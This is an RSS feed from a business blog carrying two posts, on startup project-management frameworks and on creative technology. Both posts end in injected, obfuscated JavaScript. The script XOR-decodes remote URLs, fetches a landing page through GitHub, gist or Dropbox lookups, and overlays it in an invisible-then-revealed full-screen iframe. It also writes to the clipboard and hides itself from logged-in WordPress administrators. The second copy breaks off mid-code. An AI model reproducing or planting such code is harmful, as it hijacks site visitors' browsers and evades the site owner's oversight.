<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title></title>
	<atom:link href="http://technacea.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://technacea.com</link>
	<description></description>
	<lastBuildDate>Fri, 22 May 2026 18:53:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
	<item>
		<title>Project Management Frameworks for Startups</title>
		<link>http://technacea.com/2013/04/12/project-management-frameworks-for-startups/</link>
					<comments>http://technacea.com/2013/04/12/project-management-frameworks-for-startups/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Fri, 12 Apr 2013 16:50:32 +0000</pubDate>
				<category><![CDATA[Project Management]]></category>
		<category><![CDATA[Startups]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=209</guid>

					<description><![CDATA[&#160; I love startups. I love the unbounded optimism and energy of the founders. I love the focus, drive, grit and determination of the teams. I love watching a team coalesce around the objective; growing, pushing one another, learning from their mistakes. And while I might not love it, I even embrace the pre-funded constraint&#8230; <a class="more-link" href="http://technacea.com/2013/04/12/project-management-frameworks-for-startups/">Continue reading <span class="screen-reader-text">Project Management Frameworks for Startups</span></a>]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p><a href="http://technacea.com/wp-content/uploads/2013/04/pmfforstartups.png"><img fetchpriority="high" decoding="async" class="alignnone size-medium wp-image-223" alt="pmfforstartups" src="http://technacea.com/wp-content/uploads/2013/04/pmfforstartups-500x291.png" width="500" height="291" srcset="http://technacea.com/wp-content/uploads/2013/04/pmfforstartups-500x291.png 500w, http://technacea.com/wp-content/uploads/2013/04/pmfforstartups.png 846w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p>I love startups. I love the unbounded optimism and energy of the founders. I love the focus, drive, grit and determination of the teams. I love watching a team coalesce around the objective; growing, pushing one another, learning from their mistakes. And while I might not love it, I even embrace the pre-funded constraint of growing a business with no cash because it demands innovation and creativity.</p>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">And when a team is successful, it grows. And when it grows it has to begin to scale, requiring new people, refined roles, better communication, and even better alignment and focus on the objective.</span></pre>
<p>The question then becomes, “How do I effectively lead this transition?”</p>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">Let’s start with an observation. There is almost no activity in a startup that cannot be viewed as a project. Payroll and Accounting might be options, but these can easily be outsourced because they require no innovation. Everything else has a starting point and a finish line, and is by definition, a project. The prototype, the launch plan, the marketing plan, hiring the next engineer, building the website, even obtaining the first round of funding can, and I propose should be, viewed as a project.</span></pre>
<p>Why? Because the role of operations is to efficiently manage day-to-day activities in the pursuit of meeting financial projections. Projects are about effectively aligning resources to achieve specific objectives. And there are far more specific objectives than day-to-day activities in a start up. And because there are many adaptable tools in project management that are designed to lead just such transitions.</p>
<h3>Project Management Approaches vs. Project Management Frameworks</h3>
<p>There are lots of project management approaches available; waterfall, Agile, Extreme, PRINCE2, CBPM, and more other acronyms and types than anyone can comprehensively cover. Each has their strengths and weaknesses, and each was developed by a team of people with a specific culture, business model, economic requirements, and acceptable risk quotient.</p>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">In other words, unless your culture, business model, requirements demands and risk quotient line up perfectly, there are likely to be portions of the approach that won’t suit the needs of your startup. Furthermore, these approaches are by definition comprehensive and will unavoidably contain policies and procedures that are counter to the fast moving world of the startup.</span></pre>
<pre><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">On the other hand, a Project Management Framework (PMF) is a philosophical guide, a way to frame all projects with a minimum effective control structure. An effective PMF provides for the establishment and reinforcement of five things:</span></pre>
<ul>
<li>Clarity</li>
<li>Alignment</li>
<li>Focus</li>
<li>Execution</li>
<li>Accountability</li>
</ul>
<p>While every PMF is different (because it takes into account the culture, business model, economic requirements, risk quotient, stakeholder expectations, etc…) it will define a project as a minimum of the following eight steps and provide tools and techniques to support them.</p>
<ol>
<li>Identification of Deliverables (External &amp; Internal)</li>
<li>Identification of Owners</li>
<li>Identification of Users</li>
<li>Development of Quality Criteria</li>
<li>Commitments</li>
<li>Monitoring</li>
<li>Performance Reporting</li>
<li>After Project Review (APR)</li>
</ol>
<p>In future posts, we’ll delve into each of the above.<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2013/04/12/project-management-frameworks-for-startups/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">209</post-id>	</item>
		<item>
		<title>Creatives, Technology, &#038; the Age of Context</title>
		<link>http://technacea.com/2012/07/31/creatives-technology-the-age-of-context/</link>
					<comments>http://technacea.com/2012/07/31/creatives-technology-the-age-of-context/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Tue, 31 Jul 2012 19:39:10 +0000</pubDate>
				<category><![CDATA[Creative]]></category>
		<category><![CDATA[In The News]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=197</guid>

					<description><![CDATA[Last week I had the opportunity to listen to the live webcast by Chase Jarvis and Robert Scoble where they discussed The Future for Creatives. [The video is not up yet as of today, but it should be soon.] Robert and Chase covered, among other things, the role of technology in the creative process and I’ve&#8230; <a class="more-link" href="http://technacea.com/2012/07/31/creatives-technology-the-age-of-context/">Continue reading <span class="screen-reader-text">Creatives, Technology, &#038; the Age of Context</span></a>]]></description>
										<content:encoded><![CDATA[<p><a rel="attachment wp-att-199" href="http://technacea.com/2012/07/31/creatives-technology-the-age-of-context/20120725_robert_scoble_upcoming-episode-banner6/"><img decoding="async" class="alignnone size-full wp-image-199" title="20120725_Robert_Scoble_Upcoming-Episode-Banner6" src="http://technacea.com/wp-content/uploads/2012/07/20120725_Robert_Scoble_Upcoming-Episode-Banner6.jpg" alt="" width="300" height="200" /></a></p>
<p>Last week I had the opportunity to listen to the live webcast by Chase Jarvis and <a href="http://scobleizer.com/">Robert Scoble</a> where they discussed <a href="http://blog.chasejarvis.com/blog/2012/07/the-future-of-technology-for-creatives-robert-scoble-on-chasejarvis-live-wed-july-25/">The Future for Creatives</a>. [The video is not up yet as of today, but it should be soon.] Robert and Chase covered, among other things, the role of technology in the creative process and I’ve been thinking all week about the fact that insight into technical possibilities frequently drives the creative process; especially in the Agency world that I inhabit.</p>
<p>Further, Robert talked much about the exciting technology now is that which works in context. It knows not just who we are and what we like, but where we are, where we are going, and what else we need to do along the way. It is Minority Report and Robert and Shel Isreal are collaborating again on a new book: <a href="http://scobleizer.com/2012/07/17/the-coming-automatic-freaky-contextual-world-and-why-were-writing-a-book-about-it/">The Age of Context: How it Will Change Your Life and Work</a>.</p>
<p>I’ll be following along and thinking through the implications for the industry and my clients. I’d suggest you do the same.</p>
<p>And if you are in the Bay Area, Robert will be covering some of this and more on August 21st, 2012 at 6-8pm at Hult Business School.  1355 Sansome St.  Put it on your calendar and watch <a href="http://sfama.org/">sfama.org</a> for the tickets which will go on sale soon.</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
